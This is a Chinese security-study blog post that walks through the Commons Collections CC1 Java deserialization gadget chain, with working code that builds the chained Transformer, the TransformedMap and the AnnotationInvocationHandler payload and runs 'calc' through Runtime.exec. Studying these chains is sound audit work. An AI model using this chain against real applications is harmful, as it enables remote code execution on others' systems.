java审计之java反序列化-CC链

本文详细介绍了Java中的序列化机制,重点探讨了Transformer、ChainedTransformer、ConstantTransformer和InvokerTransformer在内存对象持久化和类型转换中的应用,以及序列化安全性的考虑,包括对InvokerTransformer的限制以防止远程代码执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

介绍

  • 序列化的本质是内存对象到数据流的一种转换,我们知道内存中的东西不具备持久性,但有些场景却需要将对象持久化保存或传输。

  • 在Java工程中,序列化还广泛应用于JMX,RMI,网络传输(协议包对象)等场景,可以说序列化机制赋予了内存对象持久化的机会

  • 注解

  • 反射

    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    

Transformer

  • Transformer是一个用于规范类型转换行为的接口,实现该接口的类有:ChainedTransformer,

    在这里插入图片描述

ChainedTransformer

  • 链式转换器。传入Transformer数组初始化对象;transform方法依次调用Transformer实现类的transform方法处理传入对象,也就是transform方法的组合拳利用
    ChainedTransformer chain = new ChainedTransformer(
            new Transformer[]{
                    new ConstantTransformer(Runtime.getRuntime()),
                    new InvokerTransformer(
                            "exec",
                            new Class[]{String.class},
                            new Object[]{"calc.exe"}
                    )
            }
    );
    chain.transform("zgc");
    

ConstantTransformer

  • 返回构造ConstantTransformer对象时传入的对象;transform方法会忽略传入参数,不会改变当前对象

InvokerTransformer

  • 通过反射调用传入对象的方法(public属性)

  • commons-collections从3.2.2版本开始尝试序列化或反序列化此类都会抛出UnsupportedOperationException异常,这个举措是为了防止远程代码执行;如果允许序列化该类就要在运行时添加属性-Dproperty=true

  • commons-collections4从4.1之后直接禁止被用于反序列化

    Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());
    

InstantiateTransformer

  • 通过反射调用传入对象的构造方法新建对象,3.2.2之后启用序列化也需要属性-Dproperty=true,4.1之后也禁止用于反序列化

    String[] arg = {"exec"};
    InstantiateTransformer it = new InstantiateTransformer(new Class[]{String.class}, arg);
    Object o = it.transform(String.class); // 初始化 String 对象
    System.out.println(o);
    

CC1链逆推

在这里插入图片描述

反射

// 直接调用
//        Runtime.getRuntime().exec("calc");

// 反射调用
//        Class RuntimeC = Runtime.class;
//        Method exec = RuntimeC.getMethod("exec", String.class);
//        exec.invoke(Runtime.getRuntime(),"calc");


// InvokerTransformer
Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());

寻找InvokerTransformer.transform被调用

  • 寻找InvokerTransformer.transform被调用,TransformedMap.checkSetValue有调用
    在这里插入图片描述

寻找TransformedMap.checkSetValue被调用

  • 寻找TransformedMap.checkSetValue被调用,AbstractInputCheckedMapDecorator.setValue有调用(Map设值的会调用)
    在这里插入图片描述

for Map.Entry 调用->TransformedMap.checkSetValue->AbstractInputCheckedMapDecorator.setValue

// invokerTransformer.transform
// InvokerTransformer + TransformedMap + Map.entrySet.setValue
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("xx","yy");
Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry:decorateMap.entrySet()){
    entry.setValue(Runtime.getRuntime());
}

在这里插入图片描述

Annotation调用->TransformedMap.checkSetValue->AbstractInputCheckedMapDecorator.setValue

  • 先看chainedTransformer的推导
    在这里插入图片描述
Transformer[] transforms = new Transformer[]{
      // 通过Transformer反射Class再反射Runtime
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
      new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
      new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
//        chainedTransformer.transform(Runtime.class);

// invokerTransformer.transform
// InvokerTransformer + TransformedMap + Map.entrySet.setValue
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
//        for (Map.Entry entry : decorateMap.entrySet()) {
//            entry.setValue(Runtime.getRuntime());
//        }

Class<?> AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorateMap);

serialize(o);
unSerialize("serializeFile");

chainedTransformer的推导

Class 可以序列化,Runtime不能序列化

  • 通过直接Class反射Runtime

    // Runtime 序列化
    Class runtimeClass = Runtime.class;
    Method getRuntimeMethod = runtimeClass.getMethod("getRuntime", null);
    Runtime runtimeMethodInvoke = (Runtime) getRuntimeMethod.invoke(null, null);
    Method execMethod = runtimeClass.getMethod("exec", String.class);
    execMethod.invoke(runtimeMethodInvoke, "calc");
    
  • 通过Transformer反射Class再反射Runtime
    在这里插入图片描述

    // 通过Transformer反射Class再反射Runtime
    Method getRuntimeMethodByTransformer = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
    Runtime runtimeMethodInvokeByTransformer = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethodByTransformer);
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtimeMethodInvokeByTransformer);
    

ChainedTransformer优化transformer

Transformer[] transforms = new Transformer[]{
        // 通过Transformer反射Class再反射Runtime
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
chainedTransformer.transform(Runtime.class);

输出对象不一定是Runtime

  • 使用ConstantTransformer保证输出对象
    Transformer[] transforms = new Transformer[]{
          // 通过Transformer反射Class再反射Runtime
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
          new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
          new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
    };
    

CC2链逆推

在这里插入图片描述

问题

java和class

  • jar 加载不出时候,需要下载sources
    在这里插入图片描述

jdk版本问题

  • 需要jdk8u65之前

  • 不是setValue,既无法调用checkSetValue,也无法执行到valueTransformer.transform(value)

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值